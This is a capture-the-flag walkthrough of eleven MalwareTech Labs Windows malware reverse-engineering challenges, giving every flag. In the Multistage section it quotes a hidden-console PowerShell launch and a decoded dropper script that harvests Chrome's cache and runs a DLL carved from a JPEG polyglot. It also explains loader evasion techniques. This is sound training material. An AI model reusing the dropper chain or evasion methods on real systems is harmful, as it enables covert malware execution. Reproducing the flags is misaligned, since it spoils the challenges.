MalwareTech Labs — Windows Malware RE Challenge Series

Eleven PE32+ x86-64 Windows binaries, each hiding a flag behind a different obfuscation layer. Pure static analysis throughout — no execution, no debugger. The series covers string concealment in .rdata, on the stack, and in Win32 resources; C2 protocol reversing; three shellcode decryption layers (ROL5, XOR with DOS-stub key derivation, PEB walk + SHA1 + RC4); a 3-opcode bytecode VM; and a multi-stage dropper that harvests Chrome's cache for a JPEG polyglot DLL decrypted with AES-256-CBC via the Windows legacy Crypto API.

Overview

MalwareTech Labs is a free reverse engineering training platform created by Marcus Hutchins — the researcher who sinkholed the WannaCry kill switch domain in 2017 and is widely known as one of the more prolific Windows malware analysts. The platform's premise is straightforward: each challenge is a purpose-built PE binary that isolates one technique commonly found in real Windows malware. No infrastructure, no virtual machine required — all the logic to reconstruct the flag lives inside the executable itself.

The challenges are organised into progressively harder tiers within each category. Strings teaches three different methods for hiding a string in a PE without making it trivially findable by strings(1). C2 walks through three generations of command-and-control protocol complexity. Shellcode covers three patterns that real shellcode loaders use to stay position-independent and import-free. VM introduces a custom bytecode interpreter. Multistage is a capstone: a realistic multi-component dropper chain.

Every challenge in this walkthrough is solved by pure static analysis in Binary Ninja — no execution, no debugger, no dynamic instrumentation. This is a deliberate constraint. The class of binary you most want to be able to read without running it is exactly this one: purpose-built, possibly targeted, definitely not something you want to execute on a real machine without understanding it first. The static-only discipline is the point.

What each category teaches:

  • Strings (3): cross-reference analysis to cut through noise, recognising stack-string construction patterns, navigating PE Win32 string resources
  • C2 (3): protocol reconstruction from WinINet calls, session key exchange parsing, encrypted payload delivery via download-and-decrypt chains
  • Shellcode (3): ROL-encrypted self-decrypting payloads, IAT bypass with key hidden in the DOS stub, position-independent API resolution via PEB walk and API hash comparison
  • VM (1): reading and emulating a custom 3-opcode bytecode interpreter entirely in the disassembler
  • Multistage (1): tracing a multi-stage dropper from LOLBIN launch through Chrome cache harvesting and JPEG polyglot payload decryption with the Windows legacy Crypto API

Strings 1 — Needle in a Haystack

Import table: md5_hash, MessageBoxA, ExitProcess. No crypto, no network. The flag lives in .rdata as a plaintext string — the challenge is finding which one.

The binary embeds several hundred fake flags in .rdata in the same FLAG{WORD-WORD-WORD-WORD} format, all visually indistinguishable. Running strings or the Strings view returns the whole table with no obvious winner. The solution is cross-reference analysis: _start has four instructions, and the one pointer that gets passed to md5_hash is data_14001B560. Navigate there:

14001b560  "FLAG{NEEDLE-IN-A-HAYSTACK-FOUND}"   ← only entry with an XREF from code

Every other entry has zero cross-references. The flag is the one pointer touched by code, not the one that looks different.

Flag: FLAG{NEEDLE-IN-A-HAYSTACK-FOUND}

Strings 2 — Stack Strings

Same import table. The Strings view returns nothing useful — no FLAG{...} pattern visible anywhere in the PE. The flag is built on the stack at runtime through a sequence of mov byte ptr [rsp+N], val instructions, scattered across the instruction stream as immediate operands. The decompiler surfaces two adjacent assignments:

char var_30 = 'F';
__builtin_strncpy(&var_2f, "LAG{STACK-STRINGS-ARE-BUILT-AT-RUNTIME}", 39);
md5_hash(&var_30);

var_30 is at rsp-0x30 and var_2f is at rsp-0x2f — one byte apart. md5_hash(&var_30) reads forward from the 'F' character and encounters the complete string "FLAG{STACK-STRINGS-ARE-BUILT-AT-RUNTIME}" terminated by strncpy's null byte. The flag never exists as a contiguous sequence in the PE file.

Flag: FLAG{STACK-STRINGS-ARE-BUILT-AT-RUNTIME}

Strings 3 — Resource Strings

LoadStringA appears in the import table — that's the tell. The flag is stored in the PE's Win32 string resource section (.rsrc), not in .rdata or on the stack. The decompiled _start calls:

LoadStringA(nullptr, 0x110, &buffer, 0x3ff);

uID = 0x110 = 272. Win32 string resources group 16 IDs per table: table number = floor(272 / 16) + 1 = 18. Open String Table 18 in Resource Hacker — the binary populates it with fake flags, and ID 272 (index 0) is the one referenced by code:

272, "FLAG{RESOURCES-ARE-POPULAR-FOR-MALWARE}"

Flag: FLAG{RESOURCES-ARE-POPULAR-FOR-MALWARE}

C2-1 — Simple Downloader

URLDownloadToFileA is in the import table — a high-level WinINet wrapper that downloads a URL straight to a file on disk. The stack string in _start is the URL:

__builtin_memcpy(&url_buf, "https://malware.vip/1/get_flag", 31);

The binary downloads the response to %TEMP%\flag.txt, opens it with ReadFile, and passes the contents to md5_hash. The flag is whatever the server returns — replicating the request is enough:

curl https://malware.vip/1/get_flag
# FLAG{JUST-A-SIMPLE-DOWNLOADER}

Flag: FLAG{JUST-A-SIMPLE-DOWNLOADER}

C2-2 — HTTP C2 with Session Key Exchange

The binary implements a two-phase protocol. The WinINet helper sub_140001860 opens sessions with User-Agent "MDropper" and is used for both requests. The _start function:

  1. Phase 1: GET https://malware.vip/2/register → server returns key=7wtv1wszovmcbp5
  2. Extracts the key with StrStrA(&response, "key=") — and then checks that the substring starts at byte 0 of the response (key_offset != 0 is an error). The server must respond with exactly "key=<value>" with no leading bytes, otherwise the binary returns 0xffffffff.
  3. Phase 2: GET https://malware.vip/2/get_flag?key=7wtv1wszovmcbp5 → server returns the flag.
curl https://malware.vip/2/register
# key=7wtv1wszovmcbp5

curl "https://malware.vip/2/get_flag?key=7wtv1wszovmcbp5"
# FLAG{HTTP-IS-COMMON-FOR-C2}

Flag: FLAG{HTTP-IS-COMMON-FOR-C2}

C2-3 — Multi-Stage Dropper with Encrypted Payload

Three stages: download an encrypted blob with a specific User-Agent, XOR-decrypt it in memory, write it to disk as photo.jpg, load it as a DLL, call the GetFlag export.

Stage 1 — User-Agent gate + blob download

The same http_get helper from C2-2 (UA "MDropper") fetches https://malware.vip/3/get_payload. Without the correct agent the server returns Unauthorized: invalid useragent. With it, 17,444 bytes arrive.

Stage 2 — Blob format and XOR decryption

Tracing the heap pointer returned by http_get through the code reveals the blob layout:

┌──────────────┬────────────────────────┬──────────────────────────────┐
│ [0:4]        │ [4:36]                 │ [36 : 36 + payload_size]     │
│ payload_size │ XOR key (32 bytes)     │ encrypted PE payload         │
│ uint32 LE    │ per-request random     │ decrypts to valid DLL        │
└──────────────┴────────────────────────┴──────────────────────────────┘

The key is per-request — server generates a fresh 32-byte key for each download, embedded in the blob alongside the ciphertext. The XOR decryptor sub_140001f80 applies a repeating-key XOR: dst[i] ^= key[i % 32]. After decryption, the code validates the MZ header before loading.

Stage 3 — DLL load and export call

The decrypted PE is saved as %TEMP%\photo.jpg (LoadLibraryA ignores the extension), loaded, and its GetFlag export is called via GetProcAddress. The DLL's GetFlag function is two instructions — a lea rax, [rel str_flag] + ret returning a pointer to the flag string in .rdata. The download and decrypt chain was the entire obfuscation.

import struct

data = open("photo.jpg", "rb").read()
size = struct.unpack_from("<I", data, 0)[0]
key  = data[4:36]
enc  = data[36:36 + size]

decrypted = bytes(b ^ key[i % 32] for i, b in enumerate(enc))
assert decrypted[:2] == b"MZ"
open("payload.dll", "wb").write(decrypted)

Flag: FLAG{MALWARE-CAN-HAVE-MULTIPLE-STAGES}

Shellcode 1 — ROL5 Encrypted Shellcode

VirtualAlloc + HeapAlloc, no LoadLibraryA. A 15-byte shellcode is copied to RWX memory and called with a pointer to a { char* data; uint64_t len; } struct pointing at the encrypted flag in .rdata.

The shellcode disassembles cleanly in Binary Ninja:

mov  rdi, qword [rcx]       ; rdi = data pointer
mov  rcx, qword [rcx+0x8]  ; rcx = length (loop counter)
rol  byte [rdi+rcx-0x1], 5 ; ROL5 on current byte (backwards)
loop 0x140003267
retn

ROL5 is inverted by ROR5 = ROL3: ((b >> 5) | (b << 3)) & 0xFF. The encrypted flag is 38 bytes at 0x140003238:

encrypted = bytes([
    0x32,0x62,0x0a,0x3a, 0xdb,0x9a,0x42,0x2a,
    0x62,0x62,0x1a,0x7a, 0x22,0x2a,0x69,0x4a,
    0x9a,0x72,0xa2,0x69, 0x52,0xaa,0x9a,0xa2,
    0x7a,0x32,0x92,0x68, 0x69,0x2a,0xc2,0x82,
    0x62,0x7a,0x4a,0xa2, 0x9a,0xeb,
])
flag = bytes(((b >> 5) | (b << 3)) & 0xFF for b in encrypted)
print(flag.decode())  # FLAG{SHELLCODE-ISNT-JUST-FOR-EXPLOITS}

Flag: FLAG{SHELLCODE-ISNT-JUST-FOR-EXPLOITS}

Shellcode 2 — XOR Shellcode, IAT Bypass, DOS-Stub Key

LoadLibraryA and GetProcAddress are in the host's import table — but the shellcode can't use them directly (no IAT). Instead entry builds a 32-byte context struct on the stack, populates the first two fields with the resolved function pointers, and passes it to the shellcode:

typedef struct {
    void* pLoadLibraryA;
    void* pGetProcAddress;
    char* data;        // pointer to 36-byte encrypted flag in .rdata
    int   data_size;
} shellcode_ctx;

The 640-byte shellcode is XOR-encrypted with a 32-byte key ("X&8PEMh4e,T^a.Yu%Q-jVdD$g<)!_ck@", null-terminated at index 32 — the null-scan strlen loop gives the key length). After decryption, the shellcode has four functions:

pe_base_finder — locating the host PE without imports

Takes the return address from the stack, aligns it to 0x10000 (Windows maps PEs at 64 KB boundaries), then steps backward 64 KB at a time until it finds the MZ signature:

mov  rax, qword [rsp+0x50]  ; return address inside Shellcode2.exe_
and  rax, 0xffffffffffff0000 ; align to 64KB
cmp  word [rax], 0x5a4d     ; MZ?
je   found
sub  rax, 0x10000
jmp  loop

DOS-stub key derivation

Once image_base is known, the shellcode reads 36 bytes starting at image_base + 0x4E as the XOR key. Offset 0x4E is the start of the DOS stub string in every MSVC-compiled PE:

"This program cannot be run in DOS mode.\r\r\n$"

XOR-ing the 36-byte encrypted flag with this key recovers the plaintext. The shellcode derives its key from a deterministic, well-known offset in the host binary — no hardcoded key anywhere.

flag_enc = bytes([
    0x12,0x24,0x28,0x34,0x5b,0x23,0x26,0x20,
    0x35,0x37,0x4c,0x28,0x76,0x26,0x33,0x37,
    0x3a,0x27,0x3d,0x6e,0x25,0x48,0x6f,0x3c,
    0x58,0x3a,0x68,0x2c,0x43,0x73,0x10,0x0e,
    0x10,0x6b,0x10,0x6f,
])
dos_key = b"This program cannot be run in DOS mode.\r\r\n$\x00"
flag = bytes(flag_enc[i] ^ dos_key[i] for i in range(36))
print(flag.decode())  # FLAG{STORE-EVERYTHING-ON-THE-STACK}

Flag: FLAG{STORE-EVERYTHING-ON-THE-STACK}

Shellcode 3 — PEB Walk, SHA1 by Ordinal, RC4

The most complex challenge in the series. Two layers of encryption, position-independent API resolution through PEB walking, SHA1 key derivation using undocumented ntdll exports resolved by ordinal, and RC4 stream cipher.

Layer 1 — XOR decrypt the shellcode

The 1184-byte shellcode is XOR-encrypted with key "FaW7leqd9RKSluQHnwRVn" (21 bytes, repeating). After decryption, Binary Ninja identifies four functions at offsets 0x000, 0x1b0, 0x290, 0x390.

Layer 2 — PEB walk to find ntdll

The entry function opens with a chain of three pointer dereferences:

gs:0x60                         → TEB.ProcessEnvironmentBlock (PEB*)
*(PEB + 0x18)                   → PEB.Ldr (PEB_LDR_DATA*)
*(Ldr + 0x10)                   → InLoadOrderModuleList.Flink
                                   → first LDR_DATA_TABLE_ENTRY = host exe
*(exe_entry + 0x00)             → Flink to next entry = ntdll
*(ntdll_entry + 0x30)           → ntdll.DllBase

This is the canonical position-independent ntdll locator — works on every x64 Windows since Vista, requires no imports and no hardcoded addresses.

SHA1 by ordinal — resolving ntdll's internal SHA1

The function at offset 0x1b0 walks ntdll's PE export table directly. For PE32+, DataDirectory[0] (the export directory RVA) is at nt_headers + 0x88 (0x18 OptionalHeader offset + 0x70 DataDirectory offset). ntdll's Base = 1, so ordinal index = ordinal − 1:

| Ordinal | Index | Export name    | Role                          |
|---------|-------|----------------|-------------------------------|
|    9    |   8   | A_SHAFinal     | Finalize SHA1, write 20 bytes |
|   10    |   9   | A_SHAInit      | Initialize SHA1 context       |
|   11    |  10   | A_SHAUpdate    | Process input blocks          |

These are undocumented ntdll exports present on all x64 Windows versions. The shellcode resolves them by ordinal to avoid any string comparison in the name table.

SHA1 input and RC4 decryption

The SHA1 input is a stack string visible in the decrypted shellcode: "FLAG{IS-THIS-REAL-LIFE}". Submitting this as the flag returns "Incorrect" — it is the SHA1 input, not the output. The actual flag is what you get after RC4-decrypting the 30-byte ciphertext at 0x140003000 with the SHA1 hash as the key:

import hashlib

flag_data = bytes([
    0x75,0xfc,0x53,0x3c,0xfa,0x79,0x42,0xe3,
    0xf1,0x34,0xb5,0x5b,0x0f,0xf9,0xc1,0x06,
    0xa7,0xc7,0xcf,0x7d,0x32,0x8e,0xf7,0x84,
    0x63,0x99,0x0e,0xbc,0xb8,0x30,
])

sha1_key = hashlib.sha1(b"FLAG{IS-THIS-REAL-LIFE}").digest()

def rc4(key, data):
    S = list(range(256)); j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0; out = []
    for byte in data:
        i = (i+1)%256; j = (j+S[i])%256
        S[i],S[j] = S[j],S[i]
        out.append(byte ^ S[(S[i]+S[j])%256])
    return bytes(out)

print(rc4(sha1_key, flag_data).decode())
# FLAG{THE-PEB-HAS-ALL-YOU-NEED}
"FLAG{IS-THIS-REAL-LIFE}" is a deliberate red herring — it looks like the flag but is only the SHA1 input. The real flag comes out only after the full RC4 decryption.

Flag: FLAG{THE-PEB-HAS-ALL-YOU-NEED}

VM 1 — Custom 3-Opcode Bytecode VM

HeapAlloc without VirtualAlloc — the data is not shellcode. A 507-byte blob is copied from .rdata to a heap allocation, and vm_run() interprets it. The layout:

Offset   0–254  (255 bytes): DATA REGION — VM writes the flag here during execution
Offset 255–506  (252 bytes): BYTECODE — instruction stream, 3 bytes per instruction

The fetch-decode-execute loop advances the instruction pointer by 3 bytes each iteration. Three opcodes:

| Opcode | Name | Operation          |
|--------|------|--------------------|
|   1    | SET  | data[b] = c        |
|   2    | LOAD | aux = data[b]      |
|   3    | XOR  | data[b] ^= aux     |
|  4+    | HALT | return 0           |

aux is a single global byte accumulator. The bytecode runs 32 SET instructions that scatter encrypted flag bytes into the data region, then 32 LOAD/XOR pairs that XOR each byte with a key byte pre-set in the blob, placing the null terminator and halting with opcode 4. Emulating the VM recovers the flag:

flag_data = bytearray(blob)
aux = 0

def execute(a, b, c):
    global aux
    if a == 1: flag_data[b] = c & 0xFF
    elif a == 2: aux = flag_data[b]
    elif a == 3: flag_data[b] ^= aux
    else: return 0
    return 1

idx = 0
while True:
    a,b,c = flag_data[255+idx], flag_data[256+idx], flag_data[257+idx]
    idx += 3
    if not execute(a, b, c): break

print(flag_data[:flag_data.index(0)].decode())
# FLAG{VMS-ARE-FOR-MALWARE}

Flag: FLAG{VMS-ARE-FOR-MALWARE}

Multistage 1 — LOLBIN + Chrome Cache + JPEG Polyglot + AES-256-CBC

The challenge presents an HTML lure page. The whole delivery chain: HTML → encoded PowerShell → Chrome cache harvest → JPEG polyglot DLL → AES-256-CBC decryption.

Stage 1 — The LOLBIN launch

The HTML source contains a command launched via a script tag:

conhost.exe --headless powershell.exe -EncodedCommand JABvAD0AIgAk... -ExecutionPolicy \\NetworkShare\Finance\Reports\EmployeeSalaries.txt

conhost.exe --headless is a LOLBIN wrapper — it hosts the child process with no visible console window, bypassing detections that watch for a PowerShell window appearing. The -ExecutionPolicy argument followed by a UNC path is a decoy with no effect on execution. The entire payload is in -EncodedCommand.

Stage 2 — Decoding the PowerShell script

PowerShell -EncodedCommand is always UTF-16LE base64:

import base64
print(base64.b64decode(b64).decode("utf-16-le"))

Decoded script:

$o="$env:temp\image-assets\";
$c="$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache\Cache_Data\";
mkdir -Force $o > $null;
cp "$c\*" $o;
Get-ChildItem $o |% {
    $f = [System.IO.File]::ReadAllBytes($_.FullName);
    $d = [System.Text.Encoding]::Default.GetString($f);
    $m = [regex]::Match($d, "(?s)13371337(.*?)13371337");
    if ($m.Success) {
        $p = [System.Text.Encoding]::Default.GetBytes($m.Groups[1].Value);
        [System.IO.File]::WriteAllBytes("$o\folder-icon.jpg", $p);
        rundll32.exe "$o\folder-icon.jpg", run;
        break;
    }
}

The script copies Chrome's entire cache to %TEMP%\image-assets\, then scans each cached file for the pattern 13371337(payload)13371337. When found, it extracts the bytes between the two markers, saves them as folder-icon.jpg, and calls the run export via rundll32. The script never downloads anything — the lure page must have loaded a resource that Chrome cached, and that resource is the polyglot file.

Stage 3 — The JPEG polyglot

The challenge serves folder-icon.jpg, which passes file inspection as a valid JFIF image. The raw bytes reveal the structure:

data = open("folder-icon.jpg", "rb").read()
m1   = data.find(b"13371337")          # offset 0x5b (91)
m2   = data.find(b"13371337", m1 + 8)  # offset 0x2463 (9315)
print(data[m1+8 : m1+10])              # b'MZ'
[0x00–0x5a]   JPEG JFIF + Exif header (description: "Definitely Not Malware")
[0x5b–0x62]   "13371337"  ← start marker
[0x63–0x2462] PE/DLL      ← 9216 bytes, MZ header at 0x63
[0x2463–0x246a] "13371337" ← end marker

The file is valid JPEG at the start (image viewers render it) with a PE/DLL embedded between the two magic markers. The PowerShell regex extracts exactly the bytes between the markers, discarding the JPEG wrapper.

from pathlib import Path

data = Path("folder-icon.jpg").read_bytes()
m1   = data.find(b"13371337")
m2   = data.find(b"13371337", m1 + 8)
dll  = data[m1 + 8 : m2]

assert dll[:2] == b"MZ"
Path("payload.dll").write_bytes(dll)

Stage 4 — Static analysis of the DLL

The extracted DLL is 64-bit with one relevant export: run — exactly what rundll32 calls. The function builds the key, IV, and ciphertext entirely on the stack using individual mov byte ptr [rsp+N], val instructions (the stack string technique). The decompiler presents this as a series of __builtin_memcpy / __builtin_strncpy calls to adjacent stack addresses. They are fragments of a single 96-byte buffer:

Buffer layout after all stack writes:
+0x00..+0x0F   IV         (16 bytes, AES-256-CBC initialization vector)
+0x10..+0x2F   Key        (32 bytes, AES-256 key)
+0x30..+0x5F   Ciphertext (48 bytes, 3 AES blocks)

The naming convention in Binary Ninja encodes the stack offset directly: var_498 is at rsp+0x30, var_488 is 16 bytes later at rsp+0x40, var_468 is 48 bytes later at rsp+0x60. The call to aes256cbc_decrypt (a wrapper around advapi32's legacy Crypto API) passes r9=IV, r8=Key, rcx=ciphertext.

Inside aes256cbc_decrypt, the function builds stack strings for "advapi32.dll" and six function names, resolves them at runtime via LoadLibraryA + GetProcAddress, then sequences: CryptAcquireContextACryptImportKey (PLAINTEXTKEYBLOB, aiKeyAlg=0x6610=CALG_AES_256, cbKeySize=0x20) → CryptSetKeyParam(KP_IV=1)CryptDecrypt. The algorithm is AES-256-CBC.

Stage 5 — Decryption

from Crypto.Cipher import AES

buf = bytearray(0x60)
buf[0x00:0x13] = bytes([
    0xeb,0xdd,0x83,0xb7,0xc3,0xf8,0xbc,0x8e,
    0x49,0xec,0x17,0xa2,0xa7,0x64,0x4e,0x1b,
    0x15,0xed,0xef,
])
buf[0x13:0x18] = b"Mb:P,"
buf[0x18:0x5d] = bytes([
    0xc9,0xc9,0x83,0x8b,0xd5,0x82,0x51,0xdd,
    0x16,0x87,0x55,0x97,0x25,0x7b,0xc8,0x8d,
    0x5e,0x29,0xa9,0xf0,0x6b,0xa4,0x60,0xcd,
    0x3a,0xf6,0x4a,0xfe,0xf2,0x5b,0x8d,0x18,
    0x80,0x80,0xf2,0xb6,0x64,0x38,0xa1,0xe2,
    0x87,0x48,0x62,0xc7,0x5a,0xe7,0xfd,0x3b,
    0x62,0x62,0xb4,0x7c,0xa9,0x78,0x3d,0x3b,
    0xd3,0x62,0xbd,0xfa,0x5a,0x85,0x0f,0x28,
    0x35,0xd3,0x44,0xdd,0xef,
])
buf[0x5d] = 0x5a; buf[0x5e] = 0x40; buf[0x5f] = 0x5a

iv         = bytes(buf[0x00:0x10])
key        = bytes(buf[0x10:0x30])
ciphertext = bytes(buf[0x30:0x60])

pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext)
pad = pt[-1]
if 1 <= pad <= 16 and all(b == pad for b in pt[-pad:]):
    pt = pt[:-pad]
print(pt.rstrip(b"\x00").decode())
# FLAG{WHO-NEEDS-A-DOWNLOADER}
The DLL doesn't display the flag in plaintext. run computes MD5(decrypted_flag) via an internal md5_to_hex function and shows only the hex digest in the MessageBox — confirming execution without exposing the flag to memory scanners watching MessageBox calls.

Flag: FLAG{WHO-NEEDS-A-DOWNLOADER}